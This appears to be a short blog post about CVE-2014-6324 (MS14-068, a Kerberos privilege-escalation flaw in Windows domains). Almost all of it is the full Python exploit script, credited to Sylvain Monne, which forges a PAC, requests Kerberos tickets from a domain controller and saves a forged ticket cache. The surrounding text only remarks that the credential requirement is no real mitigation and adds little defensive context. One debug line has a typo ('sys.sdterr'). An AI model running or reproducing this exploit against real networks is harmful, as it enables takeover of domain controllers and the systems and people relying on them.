Exploit for CVE-2014-6324

SANS adjusted their original rating &  gave this vulnerability a 'critical rating

Given the mitigation is 'the attacker must possess valid domain credentials' to launch this attack, this is a moot point given the exploit. I found this blog post the most informative in relation to understanding the ticket granting process to launch this exploit.

Courtesy of Sylvain Monne, this python script exploits the vulnerability in Kerberos.

#!/usr/bin/python

# MS14-068 Exploit

# Author
# ------
# Sylvain Monne
# Contact : sylvain dot monne at solucom dot fr
# http://twitter.com/bidord

 

import sys, os
from random import getrandbits
from time import time, localtime, strftime

from kek.ccache import CCache, get_tgt_cred, kdc_rep2ccache
from kek.crypto import generate_subkey, ntlm_hash, RC4_HMAC, HMAC_MD5
from kek.krb5 import build_as_req, build_tgs_req, send_req, recv_rep, \
    decrypt_as_rep, decrypt_tgs_rep, decrypt_ticket_enc_part, iter_authorization_data, \
    AD_WIN2K_PAC
from kek.pac import build_pac, pretty_print_pac
from kek.util import epoch2gt, gt2epoch


def sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host,
           output_filename, krbtgt_a_key=None, trust_ab_key=None, target_key=None):

    sys.stderr.write('  [+] Building AS-REQ for %s...' % kdc_a)
    sys.stderr.flush()
    nonce = getrandbits(31)
    current_time = time()
    as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False)
    sys.stderr.write(' Done!\n')
    
    sys.stderr.write('  [+] Sending AS-REQ to %s...' % kdc_a)
    sys.stderr.flush()
    sock = send_req(as_req, kdc_a)
    sys.stderr.write(' Done!\n')

    sys.stderr.write('  [+] Receiving AS-REP from %s...' % kdc_a)
    sys.stderr.flush()
    data = recv_rep(sock)
    sys.stderr.write(' Done!\n')

    sys.stderr.write('  [+] Parsing AS-REP from %s...' % kdc_a)
    sys.stderr.flush()
    as_rep, as_rep_enc = decrypt_as_rep(data, user_key)
    session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue']))
    logon_time = gt2epoch(str(as_rep_enc['authtime']))
    tgt_a = as_rep['ticket']
    sys.stderr.write(' Done!\n')


    if krbtgt_a_key is not None:
        print >> sys.sdterr, as_rep.prettyPrint()
        print >> sys.stderr, as_rep_enc.prettyPrint()
        ticket_debug(tgt_a, krbtgt_a_key)
    
    sys.stderr.write('  [+] Building TGS-REQ for %s...' % kdc_a)
    sys.stderr.flush()
    subkey = generate_subkey()
    nonce = getrandbits(31)
    current_time = time()
    pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time))
    tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name,
                            tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False)
    sys.stderr.write(' Done!\n')

    sys.stderr.write('  [+] Sending TGS-REQ to %s...' % kdc_a)
    sys.stderr.flush()
    sock = send_req(tgs_req, kdc_a)
    sys.stderr.write(' Done!\n')

    sys.stderr.write('  [+] Receiving TGS-REP from %s...' % kdc_a)
    sys.stderr.flush()
    data = recv_rep(sock)
    sys.stderr.write(' Done!\n')

    sys.stderr.write('  [+] Parsing TGS-REP from %s...' % kdc_a)
    tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey)
    session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue']))
    tgt_b = tgs_rep['ticket']
    sys.stderr.write(' Done!\n')


    if trust_ab_key is not None:
        pretty_print_pac(pac[1])
        print >> sys.stderr, tgs_rep.prettyPrint()
        print >> sys.stderr, tgs_rep_enc.prettyPrint()
        ticket_debug(tgt_b, trust_ab_key)


    if target_service is not None and target_host is not None and kdc_b is not None:
        sys.stderr.write('  [+] Building TGS-REQ for %s...' % kdc_b)
        sys.stderr.flush()
        subkey = generate_subkey()
        nonce = getrandbits(31)
        current_time = time()
        tgs_req2 = build_tgs_req(target_realm, target_service, target_host, user_realm, user_name,
                                tgt_b, session_key2, subkey, nonce, current_time)
        sys.stderr.write(' Done!\n')

        sys.stderr.write('  [+] Sending TGS-REQ to %s...' % kdc_b)
        sys.stderr.flush()
        sock = send_req(tgs_req2, kdc_b)
        sys.stderr.write(' Done!\n')

        sys.stderr.write('  [+] Receiving TGS-REP from %s...' % kdc_b)
        sys.stderr.flush()
        data = recv_rep(sock)
        sys.stderr.write(' Done!\n')

        sys.stderr.write('  [+] Parsing TGS-REP from %s...' % kdc_b)
        tgs_rep2, tgs_rep_enc2 = decrypt_tgs_rep(data, subkey)
        sys.stderr.write(' Done!\n')

    else:
        tgs_rep2 = tgs_rep
        tgs_rep_enc2 = tgs_rep_enc

    sys.stderr.write('  [+] Creating ccache file %r...' % output_filename)
    cc = CCache((user_realm, user_name))
    tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2)
    cc.add_credential(tgs_cred)
    cc.save(output_filename)
    sys.stderr.write(' Done!\n')


    if target_key is not None:
        print >> sys.stderr, tgs_rep2.prettyPrint()
        print >> sys.stderr, tgs_rep_enc2.prettyPrint()
        ticket_debug(tgs_rep2['ticket'], target_key)


# Pretty print full ticket content
# Only possible in a lab environment when you already know krbtgt and/or service keys
def ticket_debug(ticket, key):
    try:
        ticket_enc = decrypt_ticket_enc_part(ticket, key)
        print >> sys.stderr, ticket.prettyPrint()
        for ad in iter_authorization_data(ticket_enc['authorization-data']):
            print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad['ad-type']
            if ad['ad-type'] == AD_WIN2K_PAC:
                pretty_print_pac(str(ad['ad-data']))
            else:
                print >> sys.stderr, str(ad['ad-data']).encode('hex')
    except Exception as e:
        print 'ERROR:', e


if __name__ == '__main__':
    from getopt import getopt
    from getpass import getpass

    def usage_and_exit():
        print >> sys.stderr, 'USAGE:'
        print >> sys.stderr, '%s -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>' % sys.argv[0]
        print >> sys.stderr, ''
        print >> sys.stderr, 'OPTIONS:'
        print >> sys.stderr, '    -p <clearPassword>'
        print >> sys.stderr, ' --rc4 <ntlmHash>'
        sys.exit(1)

    opts, args = getopt(sys.argv[1:], 'u:s:d:p:', ['rc4='])
    opts = dict(opts)
    if not all(k in opts for k in ('-u', '-s', '-d')):
        usage_and_exit()

    user_name, user_realm = opts['-u'].split('@', 1)
    user_sid = opts['-s']
    kdc_a = opts['-d']

    if '--rc4' in opts:
        user_key = (RC4_HMAC, opts['--rc4'].decode('hex'))
        assert len(user_key[1]) == 16
    elif '-p' in opts:
        user_key = (RC4_HMAC, ntlm_hash(opts['-p']).digest())
    else:
        user_key = (RC4_HMAC, ntlm_hash(getpass('Password: ')).digest())

    target_realm = user_realm
    target_service = target_host = kdc_b = None
    filename = 'TGT_%s@%s.ccache' % (user_name, user_realm)

    user_realm = user_realm.upper()
    target_realm = target_realm.upper()

    sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host, filename)